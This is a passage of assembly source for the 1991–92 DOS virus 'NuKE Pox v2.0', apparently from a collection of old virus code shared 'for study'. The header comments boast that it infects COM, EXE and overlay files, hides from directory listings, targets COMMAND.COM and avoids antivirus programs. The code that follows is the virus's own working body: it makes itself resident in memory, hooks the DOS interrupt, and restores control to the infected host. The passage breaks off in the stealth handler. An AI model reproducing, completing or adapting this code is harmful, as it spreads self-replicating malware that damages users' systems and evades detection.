npox-v20.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

;==========================================================================
;                        ** NuKE Pox v2.0 **                               
;This is VERY old code but I promised to give it out, you'll see it exactly
;like Npox v1.1 in IJ#4, The code here is VERY BADLY written, I wrote WHOLE
;procedures TWICE! so LOTS of double code, I leave it UNTOUCHED for you to 
;see, and understand it! I don't care if you fuck with it, go for it!      
;The method of TSR is old, method of getting the Vectors is bad, the way   
;I infect EXEs ain't too hot... But hell it works! It infects overlays..   
;it won't infect F-prot.exe or anything with ????SCAN.EXE like SCAN.EXE or 
;TBSCAN.EXE etc... Command.com dies fast... Really neat...Play all you like
;                                                                          
;And to all those that said I `Hacked' this...                             
; FFFFFF UU   UU   CCCC   KK  KK       YY    YY   OOOO   UU   UU           
; FF     UU   UU  CC  CC  KK KK         YY  YY   OO  OO  UU   UU           
; FFFF   UU   UU  CC      KKK      ===    YY     OO  OO  UU   UU           
; FF     UU   UU  CC  CC  KK KK           YY     OO  OO  UU   UU           
; FF      UUUUUU   CCCC   KK  KK          YY      OOOO    UUUUUU           
;Just cuz you can't do it, doesn't mean I can't, anyhow my 93 viruses are  
;500% better than this one...                                              
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-*      (c) Rock Steady, Viral Developments                             -*
;*-      (c) NuKE Software Developement  1991, 1992                      *-
;-*                                                                      -*
;*-  Virus: NuKE PoX              Version: 2.0                           *-
;-*  ~~~~~~                       ~~~~~~~~                               -*
;*-  Notes: EXE & COM & OVL Infector, TSR Virus. Dir Stealth Routine.    *-
;-*         Will Disinfect files that are opened, and re-infect them     -*
;*-         when they are closed! Executed files are disinfected then    *-
;-*         executed, and when terminated reinfected!                    -*
;*-         VERY HARD to stop, it goes for your COMMAND.COM! beware!     *-
;-*         It is listed as a COMMON Virus due to is stealthiness!       -*
;*-  Bytes: 1800 Bytes                                                   *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
virus_size      equ     last - init_virus       ;Virus size                
mut1            equ     3                                                  
mut2            equ     1                                                  
mut3            equ     103h                    ;Offset location           
                                                                           
seg_a          segment   byte public                                       
               assume    cs:seg_a, ds:seg_a                                
                org     100h                    ;COM file!                 
rocko           proc    far                                                
start:          jmp     init_virus                                         
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;                       Virus Begins Here...                               
;------------------------------------------------------------------------- 
init_virus:     call    doit_now                ;Doit VirusMan...          
doit_now:       pop     bp                      ;Not to Lose Track         
                sub     bp,106h                 ;Set our position          
                push    ax                      ;Save all the regesters    
                push    bx                                                 
                push    cx                                                 
                push    dx                                                 
                push    si                                                 
                push    di                                                 
                push    bp                                                 
                push    es                                                 
                push    ds                                                 
                mov     ax,0abcdh               ;Are we resident Already?  
                int     21h                     ;***McAfee Scan String!    
                cmp     bx,0abcdh               ;Yupe... Quit Then...      
                je      exit_com                                           
                push    cs                      ;Get CS=DS                 
                pop     ds                                                 
                mov     cx,es                                              
                mov     ax,3521h                ;Sometimes tend to inter-  
                int     21h                     ;cept this Interrupt...    
                mov     word ptr cs:[int21+2][bp],es    ;Save the Int      
                mov     word ptr cs:[int21][bp],bx      ;Vector Table      
                dec     cx                      ;Get a new Memory block    
                mov     es,cx                   ;Put it Back to ES         
                mov     bx,es:mut1              ;Get TOM size              
                mov     dx,virus_size           ;Virus size in DX          
                mov     cl,4                    ;Shift 4 bits              
                shr     dx,cl                   ;Fast way to divide by 16  
                add     dx,4                    ;add 1 more para segment   
                mov     cx,es                   ;current MCB segment       
                sub     bx,dx                   ;sub virus_size from TOM   
                inc     cx                      ;put back right location   
                mov     es,cx                                              
                mov     ah,4ah                  ;Set_block                 
                int     21h                                                
                                                                           
                jc      exit_com                                           
                mov     ah,48h                  ;now allocate it           
                dec     dx                      ;number of para            
                mov     bx,dx                   ;                          
                int     21h                                                
                jc      exit_com                                           
                dec     ax                      ;get MCB                   
                mov     es,ax                                              
                mov     cx,8h                   ;Made DOS the owner of MCB 
                mov     es:mut2,cx              ;put it...                 
                sub     ax,0fh                  ;get TOM                   
                mov     di,mut3                 ;beginnig of our loc in mem
                mov     es,ax                   ;                          
                mov     si,bp                   ;delta pointer             
                add     si,offset init_virus    ;where to start            
                mov     cx,virus_size                                      
                cld                                                        
                repne   movsb                    ;move us                  
                                                                           
                mov     ax,2521h                ;Restore Int21 with ours   
                mov     dx,offset int21_handler ;Where it starts           
                push    es                                                 
                pop     ds                                                 
                int     21h                                                
exit_com:       push    cs                                                 
                pop     ds                                                 
                cmp     word ptr cs:[buffer][bp],5A4Dh                     
                je      exit_exe_file                                      
                mov     bx,offset buffer        ;Its a COM file restore    
                add     bx,bp                   ;First three Bytes...      
                mov     ax,[bx]                 ;Mov the Byte to AX        
                mov     word ptr ds:[100h],ax   ;First two bytes Restored  
                add     bx,2                    ;Get the next Byte         
                mov     al,[bx]                 ;Move the Byte to AL       
                mov     byte ptr ds:[102h],al   ;Restore the Last of 3b    
                pop     ds                                                 
                pop     es                                                 
                pop     bp                      ;Restore Regesters         
                pop     di                                                 
                pop     si                                                 
                pop     dx                                                 
                pop     cx                                                 
                pop     bx                                                 
                pop     ax                                                 
                mov     ax,100h                 ;Jump Back to Beginning    
                push    ax                      ;Restores our IP (a CALL   
                retn                            ;Saves them, now we changed
command         db      "C:\COMMAND.COM",0                                 
                                                                           
exit_exe_file:  mov     bx,word ptr cs:[vir_cs][bp]     ;fix segment loc   
                mov     dx,cs                           ;                  
                sub     dx,bx                                              
                mov     ax,dx                                              
                add     ax,word ptr cs:[exe_cs][bp]     ;add it to our segs
                add     dx,word ptr cs:[exe_ss][bp]                        
                mov     bx,word ptr cs:[exe_ip][bp]                        
                mov     word ptr cs:[fuck_yeah][bp],bx                     
                mov     word ptr cs:[fuck_yeah+2][bp],ax                   
                mov     ax,word ptr cs:[exe_ip][bp]                        
                mov     word ptr cs:[Rock_fix1][bp],dx                     
                mov     word ptr cs:[Rock_fix2][bp],ax                     
                pop     ds                                                 
                pop     es                                                 
                pop     bp                                                 
                pop     di                                                 
                pop     si                                                 
                pop     dx                                                 
                pop     cx                                                 
                pop     bx                                                 
                pop     ax                                                 
                db      0B8h                   ;nothing but MOV AX,XXXX    
Rock_Fix1:                                                                 
                dw      0                                                  
                cli                                                        
                mov     ss,ax                                              
                db      0BCh                   ;nothing but MOV SP,XXXX    
Rock_Fix2:                                                                 
                dw      0                                                  
                sti                                                        
                db      0EAh                    ;nothing but JMP XXXX:XXXX 
Fuck_yeah:                                                                 
                dd      0                                                  
int21           dd      ?                       ;Our Old Int21             
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;                       Dir Handler                                        
;------------------------------------------------------------------------- 
old_dir:        call    calldos21               ;get FCB                   
                test    al,al                   ;error?